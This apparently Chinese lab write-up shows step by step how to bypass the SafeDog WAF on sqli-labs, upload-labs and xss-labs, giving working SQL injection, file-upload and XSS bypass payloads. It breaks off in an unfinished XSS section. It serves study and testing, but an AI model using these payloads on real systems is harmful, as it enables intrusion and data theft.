提示:仅供进行学习使用,请勿做出非法的行为。如若由任何违法行为,将依据法律法规进行严惩!!!
前言
在经过上一篇的sql、与文件上传的基础学习后,以下将正式进入靶场的学习与训练当中。本文以下将进行对WAF的绕过实验。但是经过下面的尝试后发现自己实力还是不够的!因此,我打算再搞完这个之后,我将再学习一段时间再来复盘!!!
一、安装安全狗
实验环境:Windows 10 + phpstudy(apache 2.4.39)+安全狗 apache v4.0版本
首先,打开phpstudy点击运行,方便安全狗能够自动检测到安装的插件路径,点击安全狗的安装程序,进行安装:
然后就会进入如下画面:
然后以管理员权限运行cmd,进入你的phpstudy文件夹下的Extensions\Apache2.4.39\bin目录里,然后输入如下命令:
httpd.exe -k install -n apache2.4.39
此时就可以在你的安装页面里的服务名上写入apache 2.4.39 然后点击确定即可安装成功。
二、sql注入的绕过实验
判断注入点
首先,将phpstudy运行起来,然后我们进入sqllibs的第一关,输入测试语句看看:
好的成功了! 那么我们接下来进行测试!!!
由前面的尝试我们发现直接用and 1=1 是不太行的,这里可能是过滤了识别了and将其过滤了。那么我们一个个实验,看一下安全狗是怎么样识别并拦截的。这里我将and 1=1进行拆分:
http://192.168.10.129:8080/sqli/Less-1/?id=1' and --+
http://192.168.10.129:8080/sqli/Less-1/?id=1' 1=1 --+
发现上述两个页面都会返回sql语法错误的信息,因此说明了一件事情,即安全狗不会单独过滤掉and 或者1=1 。这里我就思考了下,感觉有可能是识别and以及查看and后是否有空格+字符这种形式,于是进行实验:
http://192.168.10.129:8080/sqli/Less-1/?id=1' and1--+
http://192.168.10.129:8080/sqli/Less-1/?id=1' and 1--+
实验结果,证实了确实是and+空格+字符串的格式会被拦截。
好的那么这里我们就可以开始尝试利用注释符等等来代替空格进行绕过了!!
在此输入:
http://192.168.10.129:8080/sqli/Less-1/?id=1' and/**/1=1--+
发现依旧不行,那么我们利用fuzz大法进行测试一下看看:
打开burp,拦截下我们阻截的包,然后点击发送到intrudermo模块,选择如下:
然后,去到pyload,选择暴力破解:
然后,点击attack,此时我们就可以看见就开始了暴力测试!由于安全狗有流量攻击的防御,因此后面可能会被禁止进入网站,emmm 这种情况要么等一会要么直接重启apache服务器就行了。好了这里测试完成了,我们拿每个长度试一下(因为这里学艺不精,我还不清楚怎么直接判断哪个可以成功…是我太菜了)。然后发现有一个长度下的测试是成功的:
然后,我们构造如下pyload:
http://192.168.10.129:8080/sqli/Less-1/?id=1’ and/*/!**/1–+
发现可以绕过了!!
这里就可以判断有注入点了!
这里还可以使用内联注释符/!000001/ , payload:
http://192.168.10.129:8080/sqli/Less-1/?id=1’and/!000001/=/!000001/–+
判断列数量
这里我们可以使用之前的思路,利用/*/!**/这一个充当空格,然后看看能否成功?
好的,很快我们就解决了这一部分的内容。接下来该是union联合注入了!
union联合注入
首先,我们尝试了直接使用普通的是不太行的,那么我们测试一下,安全狗对于联合注入的过滤规则:
http://192.168.10.129:8080/sqli/Less-1/?id=1' unionselect --+
被拦截!那么输入:
http://192.168.10.129:8080/sqli/Less-1/?id=1' union --+
sql语句爆错,说明单独一个union是不拦截的,同理尝试了select也是一样的:
那么我们就已经知道了,安全狗这waf对于联合注入规则的拦截就是识别到unionselect这两个字符串一起后就拦截了!
那么按照之前思路,看看能否利用注释符进行绕过这种规则?
同样的方法,利用burp抓包,进行fuzz暴力破解看看:
这里测试了一下,emm都不太行,那么我们加强一下fuzz中间带的参数:
终于发现这里有许多可以绕过的字符:
随便选一个看看:
http://192.168.10.129:8080/sqli/Less-1/?id=1' union/*/!*!**/select 1,2,3 --+
成功了!!! 继续下一步!
除此之外,再提供一个思路,在基础篇中我们讲过,可以利用–+%0a这种格式通过换行继续执行,这里我们试一下看看:
http://192.168.10.129:8080/sqli/Less-1/?id=1' union/*!--+/*%0aselect 1,2,3*/ --+
拿库
好的,让我们输入一下database()看看:
http://192.168.10.129:8080/sqli/Less-1/?id=-1' union/*//--**/select 1,database(),3 --+
好家伙,这里把database也过滤了…
那么我们再试试具体过滤成什么样子:去掉database()的()后,我们输入发现这里爆了sql的错误,那么应该是将database()进行检测,然后我们继续使用注释符或者内联注释符看看吧:
继续采用burp的fuzz:添加上变量
然后设置:
貌似找到了,我们试试看:
http://192.168.10.129:8080/sqli/Less-1/?id=-1' union/*/!*!**/select 1,database/*/!//*/(),3 --+
成功了!
当然这里还可以使用内联注释,这里我就不再演示了,有兴趣的可以看我的参考博文的链接!
拿表
首先一个个试函数,首先输入group_concat(table_name):
没啥问题,接着往下走:输入 from
好了这里已经被拦截了。。。。 那我们试试看注释符吧:
http://192.168.10.129:8080/sqli/Less-1/?id=-1' union/*/!*!**/select 1,group_concat(table_name),3 from/*/!*!**/1 --+
好了,这里我们已经把from绕过了(如果不加 直接 from 1 会被拦截) ,然后这里我们继续下一步,因为也把informa这个也过滤了!
这里通过参考别人的博客,我了解到有一种方法即:内联注释的利用方法就是中间加注释符再加换行,也就是/!%23%0a/这种形式! 然后除此之外再注释符前还需要加上/*来构造/**/ 如下述payload:
?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!-- /*%0ainformation_schema.tables*/ where table_schema='security'--+
成功了!!
然后既然表都可以拿到了,那么由于拿列和数据用的sql语句是差不多的,因此我们只需再上面payload进行修改即可!!
三、文件上传的绕过实验
首先,我们开启安全狗,然后先正常的进行上传一个文件试试看:(以upload-file 的第六关为例,因为安全狗貌似会直接拦截前两关)
从这里,我们可以看出来即使我们已经利用MIME type类型进行了绕过这里,依旧会被狗子拦截住的!一般来说我们主要思路就是防止安全狗进行匹配我们上传的数据!
那么,我们接下来就看看用什么方法进行绕过吧:
垃圾数据溢出1:
这里我们在基础部分也曾讲过。由于安全狗是采用正则匹配进行过滤的(如有错欢迎指出。。。)因此,若我们在数据包中塞入大量繁多的垃圾数据,就很有可能超出了安全狗的匹配检测能力,以此来达到绕过的手段!!!
注意哈,这里的垃圾数据可能会很长。我在一开始时候,自己以外塞了很多垃圾数据时却发现依旧无法绕过,一开始我还以为是这方法失效了。直到我看到别人塞了很多很多后确实可以绕过时,才发现自己确实弄错了。。。因此,这里记录一下,要记住这里的垃圾数据的塞入一定要很大量,尽量多塞一些进去,别只塞了一小部分就认为无法绕过了!!!
我们需要在Content-Disposition: form-data; 后面添上足够长的垃圾数据即可实现绕过,这里由于第六关还有着黑名单的限制,因此我们还需要将php利用大小写进行绕过
以下我将贴出数据包:
Content-Disposition: form-data; yuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuanyuan ; name="upload_file"; filename="test.Php"
实验结果如下图所示:
至此,可以看到我们以及实现了绕过!!!
垃圾数据溢出2:
我们除了在Content-Disposition: form-data; 后面添上足够长的垃圾数据外,也可以实现在文件名出注入大量的垃圾数据,已达到绕过
重复数据:
其实这一部分的绕过和前面的数据溢出的原理差不多吗,只是形式发生了变化,因此这里我就放在数据溢出之后一起进行绕过。。 这里我们在文件名前注入大量的正确的文件名,以此来绕过
Content-Disposition: form-data ; name="upload_file"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg";filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.jpg"; filename="test.Php"
符号变异:
由于安全狗进行匹配上传的文件名时通常是提取引号内的内容(这只是一种情况,具体如何提取的,就要看安全狗的开发者如何写的了!) 但是数据包对于文件名的匹配不依赖于引号的。因此,我们这里就可以利用符号变异,来逃逸安全狗的检测!!
直接对filename处对引号进行各种更改:
Content-Disposition: form-data ; name="upload_file"; filename= ""test.Php
我们可以访问以下这个文件看看:
okok很完美!!继续讲下一个绕过方法:
零字节截断:
与正式关卡中讲的步骤一致。下面直接贴图展示即可:
先写入:
然后url解码%00
解码后,点击发送即可:
至此,一般的绕过方法都已测试完毕!!!
下面我们可以直接试试看fuzz大法:
fuzz大法
然后将之前的包发到intruder模块,然后选择图中紫色部分,再点击右边的add:
然后点击palyloads,点击load加载你所转载的字典:
然后点击attack就行,然后我们来看看我测试的结果吧:
还是很多的。不得不说,fuzz在黑盒测试当中,效果还是很不错的!
三、XSS
这里将以xss-labs第一关为例子!首席按,我们先进行测试一下,狗子是否开启:
很好,这里已经被拦截了!!! 接下里就让我们正式开始测试一下:
1、换标签:
这里,我们输入发现
那么由于html、php、js等语言的版本较多,因此,就很有可能在新一版本种出现了一些之前版本未出现过的新标签。。。若waf更新不及时,或有所疏漏,则就很有可能会被利用到一些未被收录在匹配库的标签进行绕过的!!!
那么接下来我就进行测试一下:
<img src=''>
被拦截了!!!
<svg onload=alert(1)>
噢噢噢噢,成功!
至于是否还有其他标签可以替换?麻烦自行尝试了,这里不再赘述。
2、特殊符号干扰:
